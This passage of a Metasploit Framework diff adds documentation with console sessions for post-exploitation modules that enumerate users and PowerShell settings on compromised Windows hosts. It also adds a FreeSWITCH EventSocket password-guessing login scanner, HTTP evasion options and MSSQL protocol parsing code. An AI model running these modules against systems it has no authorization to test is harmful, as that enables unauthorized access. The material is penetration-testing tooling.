Recently Logged Users
|
||||
=====================
|
||||
|
||||
SID Profile Path
|
||||
--- ------------
|
||||
S-1-5-18 %systemroot%\system32\config\systemprofile
|
||||
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
|
||||
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
|
||||
S-1-5-21-3113421791-4205713440-112141152-1000 C:\Users\TEST
|
||||
SID Profile Path
|
||||
--- ------------
|
||||
S-1-5-18 %systemroot%\system32\config\systemprofile
|
||||
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
|
||||
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
|
||||
S-1-5-21-3113421791-4205713440-112141152-1000 C:\Users\TEST
|
||||
|
||||
|
||||
[*] Post module execution completed
|
||||
```
|
||||
[+] Results saved in: /root/.msf4/loot/20191213054458_default_192.168.1.10_host.users.recen_365577.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
@@ -0,0 +1,241 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will enumerate Microsoft PowerShell settings.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a session
|
||||
1. Do: `use post/windows/gather/enum_powershell_env`
|
||||
1. Do: `set SESSION <session id>`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 7 (6.1 Build 7601, Service Pack 1)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_powershell_env
|
||||
msf6 post(windows/gather/enum_powershell_env) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_powershell_env) > run
|
||||
|
||||
[*] Running module against test (192.168.200.158)
|
||||
[*] PowerShell is installed on this system.
|
||||
[*] Version: 2.0
|
||||
[*] Execution Policy: RemoteSigned
|
||||
[*] Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
||||
[*] No PowerShell Snap-Ins are installed
|
||||
[*] PowerShell Modules paths:
|
||||
[*] C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
|
||||
[*] C:\Program Files (x86)\Microsoft SQL Server\120\Tools\PowerShell\Modules\
|
||||
[*] C:\Program Files (x86)\AutoIt3\AutoItX
|
||||
[*] PowerShell Modules:
|
||||
[*] PSDiagnostics
|
||||
[*] TroubleshootingPack
|
||||
[*] SQLASCMDLETS
|
||||
[*] SQLPS
|
||||
[*] AutoItX.chm
|
||||
[*] AutoItX.psd1
|
||||
[*] AutoItX3.Assembly.dll
|
||||
[*] AutoItX3.Assembly.xml
|
||||
[*] AutoItX3.dll
|
||||
[*] AutoItX3.PowerShell.dll
|
||||
[*] AutoItX3_DLL.h
|
||||
[*] AutoItX3_DLL.lib
|
||||
[*] AutoItX3_x64.dll
|
||||
[*] AutoItX3_x64_DLL.lib
|
||||
[*] Examples
|
||||
[*] Checking if users have PowerShell profiles
|
||||
[*] Running with elevated privileges. Extracting user list ...
|
||||
[*] Checking asdf
|
||||
[*] Checking DefaultAppPool
|
||||
[*] Checking MSSQL$SQLEXPRESS
|
||||
[*] Checking MSSQLSERVER
|
||||
[*] Checking postgres
|
||||
[*] Checking test
|
||||
[*] Checking user
|
||||
[*] Found PowerShell profile 'C:\Users\user\Documents\WindowsPowerShell\profile.ps1' for user:
|
||||
Get-Host | Select-Object Version
|
||||
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
### Windows 11 Pro (10.0.22000 N/A Build 22000)
|
||||
|
||||
```
|
||||
|
||||
msf6 > use post/windows/gather/enum_powershell_env
|
||||
msf6 post(windows/gather/enum_powershell_env) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_powershell_env) > run
|
||||
|
||||
[*] Running module against WinDev2110Eval (192.168.200.140)
|
||||
[*] PowerShell is installed on this system.
|
||||
[*] Version: 2.0
|
||||
[*] Execution Policy: AllSigned
|
||||
[*] Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
||||
[*] PowerShell Snap-Ins:
|
||||
[*] Snap-In: WDeploySnapin3.0
|
||||
[*] (Default):
|
||||
[*] ApplicationBase: C:\Program
|
||||
[*] AssemblyName: Microsoft.Web.Deployment.PowerShell,
|
||||
[*] Description: This
|
||||
[*] ModuleName: Microsoft.Web.Deployment.PowerShell.dll
|
||||
[*] PowerShellVersion: 2.0
|
||||
[*] Vendor: Microsoft
|
||||
[*] Version: 9.0.0.0
|
||||
[*] PowerShell Modules paths:
|
||||
[*] C:\Users\User\Documents\WindowsPowerShell\Modules
|
||||
[*] C:\Program Files\WindowsPowerShell\Modules
|
||||
[*] C:\Windows\system32\WindowsPowerShell\v1.0\Modules
|
||||
[*] PowerShell Modules:
|
||||
[*] Azure
|
||||
[*] Azure.AnalysisServices
|
||||
[*] Azure.Storage
|
||||
[*] AzureRM
|
||||
[*] AzureRM.AnalysisServices
|
||||
[*] AzureRM.ApiManagement
|
||||
[*] AzureRM.ApplicationInsights
|
||||
[*] AzureRM.Automation
|
||||
[*] AzureRM.Backup
|
||||
[*] AzureRM.Batch
|
||||
[*] AzureRM.Billing
|
||||
[*] AzureRM.Cdn
|
||||
[*] AzureRM.CognitiveServices
|
||||
[*] AzureRM.Compute
|
||||
[*] AzureRM.Consumption
|
||||
[*] AzureRM.ContainerInstance
|
||||
[*] AzureRM.ContainerRegistry
|
||||
[*] AzureRM.DataFactories
|
||||
[*] AzureRM.DataFactoryV2
|
||||
[*] AzureRM.DataLakeAnalytics
|
||||
[*] AzureRM.DataLakeStore
|
||||
[*] AzureRM.DevTestLabs
|
||||
[*] AzureRM.Dns
|
||||
[*] AzureRM.EventGrid
|
||||
[*] AzureRM.EventHub
|
||||
[*] AzureRM.HDInsight
|
||||
[*] AzureRM.Insights
|
||||
[*] AzureRM.IotHub
|
||||
[*] AzureRM.KeyVault
|
||||
[*] AzureRM.LogicApp
|
||||
[*] AzureRM.MachineLearning
|
||||
[*] AzureRM.MachineLearningCompute
|
||||
[*] AzureRM.MarketplaceOrdering
|
||||
[*] AzureRM.Media
|
||||
[*] AzureRM.Network
|
||||
[*] AzureRM.NotificationHubs
|
||||
[*] AzureRM.OperationalInsights
|
||||
[*] AzureRM.PowerBIEmbedded
|
||||
[*] AzureRM.Profile
|
||||
[*] AzureRM.RecoveryServices
|
||||
[*] AzureRM.RecoveryServices.Backup
|
||||
[*] AzureRM.RecoveryServices.SiteRecovery
|
||||
[*] AzureRM.RedisCache
|
||||
[*] AzureRM.Relay
|
||||
[*] AzureRM.Resources
|
||||
[*] AzureRM.Scheduler
|
||||
[*] AzureRM.ServerManagement
|
||||
[*] AzureRM.ServiceBus
|
||||
[*] AzureRM.ServiceFabric
|
||||
[*] AzureRM.SiteRecovery
|
||||
[*] AzureRM.Sql
|
||||
[*] AzureRM.Storage
|
||||
[*] AzureRM.StreamAnalytics
|
||||
[*] AzureRM.Tags
|
||||
[*] AzureRM.TrafficManager
|
||||
[*] AzureRM.UsageAggregates
|
||||
[*] AzureRM.Websites
|
||||
[*] Microsoft.PowerShell.Operation.Validation
|
||||
[*] PackageManagement
|
||||
[*] Pester
|
||||
[*] PowerShellGet
|
||||
[*] PSReadline
|
||||
[*] AppBackgroundTask
|
||||
[*] AppLocker
|
||||
[*] AppvClient
|
||||
[*] Appx
|
||||
[*] AssignedAccess
|
||||
[*] BitLocker
|
||||
[*] BitsTransfer
|
||||
[*] BranchCache
|
||||
[*] CimCmdlets
|
||||
[*] ConfigCI
|
||||
[*] ConfigDefender
|
||||
[*] ConfigDefenderPerformance
|
||||
[*] Defender
|
||||
[*] DeliveryOptimization
|
||||
[*] DirectAccessClientComponents
|
||||
[*] Dism
|
||||
[*] DnsClient
|
||||
[*] EventTracingManagement
|
||||
[*] Get-NetView
|
||||
[*] HostNetworkingService
|
||||
[*] International
|
||||
[*] iSCSI
|
||||
[*] ISE
|
||||
[*] Kds
|
||||
[*] Microsoft.PowerShell.Archive
|
||||
[*] Microsoft.PowerShell.Diagnostics
|
||||
[*] Microsoft.PowerShell.Host
|
||||
[*] Microsoft.PowerShell.LocalAccounts
|
||||
[*] Microsoft.PowerShell.Management
|
||||
[*] Microsoft.PowerShell.ODataUtils
|
||||
[*] Microsoft.PowerShell.Security
|
||||
[*] Microsoft.PowerShell.Utility
|
||||
[*] Microsoft.Windows.Bcd.Cmdlets
|
||||
[*] Microsoft.WSMan.Management
|
||||
[*] MMAgent
|
||||
[*] MsDtc
|
||||
[*] NetAdapter
|
||||
[*] NetConnection
|
||||
[*] NetEventPacketCapture
|
||||
[*] NetLbfo
|
||||
[*] NetNat
|
||||
[*] NetQos
|
||||
[*] NetSecurity
|
||||
[*] NetSwitchTeam
|
||||
[*] NetTCPIP
|
||||
[*] NetworkConnectivityStatus
|
||||
[*] NetworkSwitchManager
|
||||
[*] NetworkTransition
|
||||
[*] PcsvDevice
|
||||
[*] PersistentMemory
|
||||
[*] PKI
|
||||
[*] PnpDevice
|
||||
[*] PrintManagement
|
||||
[*] ProcessMitigations
|
||||
[*] Provisioning
|
||||
[*] PSDesiredStateConfiguration
|
||||
[*] PSDiagnostics
|
||||
[*] PSScheduledJob
|
||||
[*] PSWorkflow
|
||||
[*] PSWorkflowUtility
|
||||
[*] ScheduledTasks
|
||||
[*] SecureBoot
|
||||
[*] SmbShare
|
||||
[*] SmbWitness
|
||||
[*] StartLayout
|
||||
[*] Storage
|
||||
[*] StorageBusCache
|
||||
[*] TLS
|
||||
[*] TroubleshootingPack
|
||||
[*] TrustedPlatformModule
|
||||
[*] UEV
|
||||
[*] VMDirectStorage
|
||||
[*] VpnClient
|
||||
[*] Wdac
|
||||
[*] Whea
|
||||
[*] WindowsDeveloperLicense
|
||||
[*] WindowsErrorReporting
|
||||
[*] WindowsSearch
|
||||
[*] WindowsUpdate
|
||||
[*] Checking if users have PowerShell profiles
|
||||
[*] Checking User
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
@@ -93,7 +93,7 @@ module Metasploit
|
||||
# @return [Pathname] if the user has a `database.yml` in their config directory (`~/.msf4` by default).
|
||||
# @return [nil] if the user does not have a `database.yml` in their config directory.
|
||||
def self.user_configurations_pathname
|
||||
Pathname.new(Msf::Config.get_config_root).join('database.yml')
|
||||
Pathname.new(Msf::Config.config_directory).join('database.yml')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'metasploit/framework/login_scanner/rex_socket'
|
||||
require 'metasploit/framework/tcp/client'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# This is the LoginScanner class for dealing with FreeSWITCH EventSocket.
|
||||
# It is responsible for taking a single target, and a list of credentials
|
||||
# and attempting them. It then saves the results.
|
||||
|
||||
class FreeswitchEventSocket
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
include Metasploit::Framework::LoginScanner::RexSocket
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
|
||||
DEFAULT_PORT = 8021
|
||||
LIKELY_PORTS = [ DEFAULT_PORT ]
|
||||
LIKELY_SERVICE_NAMES = [ 'freeswitch' ]
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
REALM_KEY = nil
|
||||
|
||||
# This method attempts a single login with a single credential against the target
|
||||
# @param credential [Credential] The credential object to attempt to login with
|
||||
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp',
|
||||
service_name: 'freeswitch'
|
||||
}
|
||||
|
||||
disconnect if self.sock
|
||||
|
||||
begin
|
||||
connect
|
||||
select([sock], nil, nil, 0.4)
|
||||
|
||||
sock.get_once
|
||||
sock.put("auth #{credential.private}\n\n")
|
||||
|
||||
/Reply-Text: (?<reply>.*)/ =~ sock.get_once
|
||||
result_options[:proof] = reply
|
||||
|
||||
# Invalid password - ( -ERR invalid\n\n )
|
||||
# Valid password - ( +OK accepted\n\n )
|
||||
|
||||
if result_options[:proof]&.include?('-ERR invalid')
|
||||
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
|
||||
elsif result_options[:proof]&.include?('+OK accepted')
|
||||
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
end
|
||||
|
||||
rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE, Rex::StreamClosedError => e
|
||||
result_options.merge!(
|
||||
proof: e.message,
|
||||
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
)
|
||||
end
|
||||
disconnect if self.sock
|
||||
::Metasploit::Framework::LoginScanner::Result.new(result_options)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# (see Base#set_sane_defaults)
|
||||
def set_sane_defaults
|
||||
self.connection_timeout ||= 10
|
||||
self.port ||= DEFAULT_PORT
|
||||
self.max_send_size ||= 0
|
||||
self.send_delay ||= 0
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -117,6 +117,14 @@ module Metasploit
|
||||
# @return [Integer] How many fake post variables to insert into the request
|
||||
attr_accessor :evade_pad_post_params_count
|
||||
|
||||
# @!attribute evade_shuffle_get_params
|
||||
# @return [Boolean] Randomize order of GET parameters
|
||||
attr_accessor :evade_shuffle_get_params
|
||||
|
||||
# @!attribute evade_shuffle_post_params
|
||||
# @return [Boolean] Randomize order of POST parameters
|
||||
attr_accessor :evade_shuffle_post_params
|
||||
|
||||
# @!attribute evade_uri_fake_end
|
||||
# @return [Boolean] Whether to add a fake end of URI (eg: /%20HTTP/1.0/../../)
|
||||
attr_accessor :evade_uri_fake_end
|
||||
@@ -327,6 +335,8 @@ module Metasploit
|
||||
'pad_get_params_count' => evade_pad_get_params_count,
|
||||
'pad_post_params' => evade_pad_post_params,
|
||||
'pad_post_params_count' => evade_pad_post_params_count,
|
||||
'shuffle_get_params' => evade_shuffle_get_params,
|
||||
'shuffle_post_params' => evade_shuffle_post_params,
|
||||
'uri_fake_end' => evade_uri_fake_end,
|
||||
'uri_fake_params_start' => evade_uri_fake_params_start,
|
||||
'header_folding' => evade_header_folding,
|
||||
|
||||
@@ -80,7 +80,7 @@ module Metasploit
|
||||
opt_hash
|
||||
)
|
||||
end
|
||||
rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error, Errno::ECONNRESET => e
|
||||
rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error, Errno::ECONNRESET, Errno::EPIPE => e
|
||||
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
rescue Net::SSH::Exception => e
|
||||
status = Metasploit::Model::Login::Status::INCORRECT
|
||||
|
||||
@@ -0,0 +1,354 @@
|
||||
module Metasploit
|
||||
module Framework
|
||||
module MSSQL
|
||||
|
||||
# A base mixin of useful mssql methods for parsing structures etc
|
||||
module Base
|
||||
|
||||
# Encryption
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||
|
||||
# Packet Type
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||
|
||||
# Status
|
||||
STATUS_NORMAL = 0x00
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
STATUS_IGNORE_EVENT = 0x02
|
||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||
|
||||
#
|
||||
# Send and receive using TDS
|
||||
#
|
||||
def mssql_send_recv(req, timeout=15, check_status = true)
|
||||
sock.put(req)
|
||||
|
||||
# Read the 8 byte header to get the length and status
|
||||
# Read the length to get the data
|
||||
# If the status is 0, read another header and more data
|
||||
|
||||
done = false
|
||||
resp = ""
|
||||
|
||||
while(not done)
|
||||
head = sock.get_once(8, timeout)
|
||||
if !(head && head.length == 8)
|
||||
return false
|
||||
end
|
||||
|
||||
# Is this the last buffer?
|
||||
if head[1, 1] == "\x01" || !check_status
|
||||
done = true
|
||||
end
|
||||
|
||||
# Grab this block's length
|
||||
rlen = head[2, 2].unpack('n')[0] - 8
|
||||
|
||||
while(rlen > 0)
|
||||
buff = sock.get_once(rlen, timeout)
|
||||
return if not buff
|
||||
resp << buff
|
||||
rlen -= buff.length
|
||||
end
|
||||
end
|
||||
|
||||
resp
|
||||
end
|
||||
|
||||
#
|
||||
# Encrypt a password according to the TDS protocol (encode)
|
||||
#
|
||||
def mssql_tds_encrypt(pass)
|
||||
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
|
||||
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a raw TDS reply from the server
|
||||
#
|
||||
def mssql_parse_tds_reply(data, info)
|
||||
info[:errors] ||= []
|
||||
info[:colinfos] ||= []
|
||||
info[:colnames] ||= []
|
||||
|
||||
# Parse out the columns
|
||||
cols = data.slice!(0, 2).unpack('v')[0]
|
||||
0.upto(cols-1) do |col_idx|
|
||||
col = {}
|
||||
info[:colinfos][col_idx] = col
|
||||
|
||||
col[:utype] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:flags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:type] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
case col[:type]
|
||||
when 48
|
||||
col[:id] = :tinyint
|
||||
|
||||
when 52
|
||||
col[:id] = :smallint
|
||||
|
||||
when 56
|
||||
col[:id] = :rawint
|
||||
|
||||
when 61
|
||||
col[:id] = :datetime
|
||||
|
||||
when 34
|
||||
col[:id] = :image
|
||||
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
|
||||
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
||||
|
||||
when 36
|
||||
col[:id] = :string
|
||||
|
||||
when 38
|
||||
col[:id] = :int
|
||||
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
when 127
|
||||
col[:id] = :bigint
|
||||
|
||||
when 165
|
||||
col[:id] = :hex
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 173
|
||||
col[:id] = :hex # binary(2)
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 231, 175, 167, 239
|
||||
col[:id] = :string
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
else
|
||||
col[:id] = :unknown
|
||||
end
|
||||
|
||||
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
if col[:msg_len] && col[:msg_len] > 0
|
||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||
end
|
||||
info[:colnames] << (col[:name] || 'NULL')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Parse individual tokens from a TDS reply
|
||||
#
|
||||
def mssql_parse_reply(data, info)
|
||||
info[:errors] = []
|
||||
return if not data
|
||||
until data.empty?
|
||||
token = data.slice!(0, 1).unpack('C')[0]
|
||||
case token
|
||||
when 0x81
|
||||
mssql_parse_tds_reply(data, info)
|
||||
when 0xd1
|
||||
mssql_parse_tds_row(data, info)
|
||||
when 0xe3
|
||||
mssql_parse_env(data, info)
|
||||
when 0x79
|
||||
mssql_parse_ret(data, info)
|
||||
when 0xfd, 0xfe, 0xff
|
||||
mssql_parse_done(data, info)
|
||||
when 0xad
|
||||
mssql_parse_login_ack(data, info)
|
||||
when 0xab
|
||||
mssql_parse_info(data, info)
|
||||
when 0xaa
|
||||
mssql_parse_error(data, info)
|
||||
when nil
|
||||
break
|
||||
else
|
||||
info[:errors] << "unsupported token: #{token}"
|
||||
end
|
||||
end
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a single row of a TDS reply
|
||||
#
|
||||
def mssql_parse_tds_row(data, info)
|
||||
info[:rows] ||= []
|
||||
row = []
|
||||
|
||||
info[:colinfos].each do |col|
|
||||
|
||||
if(data.length == 0)
|
||||
row << "<EMPTY>"
|
||||
next
|
||||
end
|
||||
|
||||
case col[:id]
|
||||
when :hex
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :string
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.gsub("\x00", '')
|
||||
|
||||
when :datetime
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :rawint
|
||||
row << data.slice!(0, 4).unpack('V')[0]
|
||||
|
||||
when :bigint
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :smallint
|
||||
row << data.slice!(0, 2).unpack("v")[0]
|
||||
|
||||
when :smallint3
|
||||
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
|
||||
|
||||
when :tinyint
|
||||
row << data.slice!(0, 1).unpack("C")[0]
|
||||
|
||||
when :image
|
||||
str = ''
|
||||
len = data.slice!(0, 1).unpack('C')[0]
|
||||
str = data.slice!(0, len) if len && len > 0
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :int
|
||||
len = data.slice!(0, 1).unpack("C")[0]
|
||||
raw = data.slice!(0, len) if len && len > 0
|
||||
|
||||
case len
|
||||
when 0, 255
|
||||
row << ''
|
||||
when 1
|
||||
row << raw.unpack("C")[0]
|
||||
when 2
|
||||
row << raw.unpack('v')[0]
|
||||
when 4
|
||||
row << raw.unpack('V')[0]
|
||||
when 5
|
||||
row << raw.unpack('V')[0] # XXX: missing high byte
|
||||
when 8
|
||||
row << raw.unpack('VV')[0] # XXX: missing high dword
|
||||
else
|
||||
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
|
||||
end
|
||||
else
|
||||
info[:errors] << "unknown column type: #{col.inspect}"
|
||||
end
|
||||
end
|
||||
|
||||
info[:rows] << row
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "ret" TDS token
|
||||
#
|
||||
def mssql_parse_ret(data, info)
|
||||
ret = data.slice!(0, 4).unpack('N')[0]
|
||||
info[:ret] = ret
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "done" TDS token
|
||||
#
|
||||
def mssql_parse_done(data, info)
|
||||
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
|
||||
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "error" TDS token
|
||||
#
|
||||
def mssql_parse_error(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "environment change" TDS token
|
||||
#
|
||||
def mssql_parse_env(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
type = buff.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
nval = ''
|
||||
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
|
||||
|
||||
oval = ''
|
||||
olen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
|
||||
|
||||
info[:envs] ||= []
|
||||
info[:envs] << { :type => type, :old => oval, :new => nval }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "information" TDS token
|
||||
#
|
||||
def mssql_parse_info(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:infos] ||= []
|
||||
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "login ack" TDS token
|
||||
#
|
||||
def mssql_parse_login_ack(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
_buff = data.slice!(0, len)
|
||||
info[:login_ack] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,5 +1,6 @@
|
||||
require 'metasploit/framework/tcp/client'
|
||||
require 'metasploit/framework/mssql/tdssslproxy'
|
||||
require 'metasploit/framework/mssql/base'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
@@ -8,32 +9,7 @@ module Metasploit
|
||||
module Client
|
||||
extend ActiveSupport::Concern
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
|
||||
# Encryption
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||
|
||||
# Packet Type
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||
|
||||
# Status
|
||||
STATUS_NORMAL = 0x00
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
STATUS_IGNORE_EVENT = 0x02
|
||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||
include Metasploit::Framework::MSSQL::Base
|
||||
|
||||
#
|
||||
# This method connects to the server over TCP and attempts
|
||||
@@ -145,7 +121,7 @@ module Metasploit
|
||||
if tdsencryption == true
|
||||
proxy = TDSSSLProxy.new(sock)
|
||||
proxy.setup_ssl
|
||||
resp = proxy.send_recv(pkt, 15, false)
|
||||
resp = proxy.send_recv(pkt)
|
||||
else
|
||||
resp = mssql_send_recv(pkt, 15, false)
|
||||
end
|
||||
@@ -281,278 +257,6 @@ module Metasploit
|
||||
info[:login_ack] ? true : false
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "environment change" TDS token
|
||||
#
|
||||
def mssql_parse_env(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
type = buff.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
nval = ''
|
||||
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
nval = buff.slice!(0, nlen*2).gsub("\x00", '') if nlen > 0
|
||||
|
||||
oval = ''
|
||||
olen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
oval = buff.slice!(0, olen*2).gsub("\x00", '') if olen > 0
|
||||
|
||||
info[:envs] ||= []
|
||||
info[:envs] << { :type => type, :old => oval, :new => nval }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "ret" TDS token
|
||||
#
|
||||
def mssql_parse_ret(data, info)
|
||||
ret = data.slice!(0, 4).unpack('N')[0]
|
||||
info[:ret] = ret
|
||||
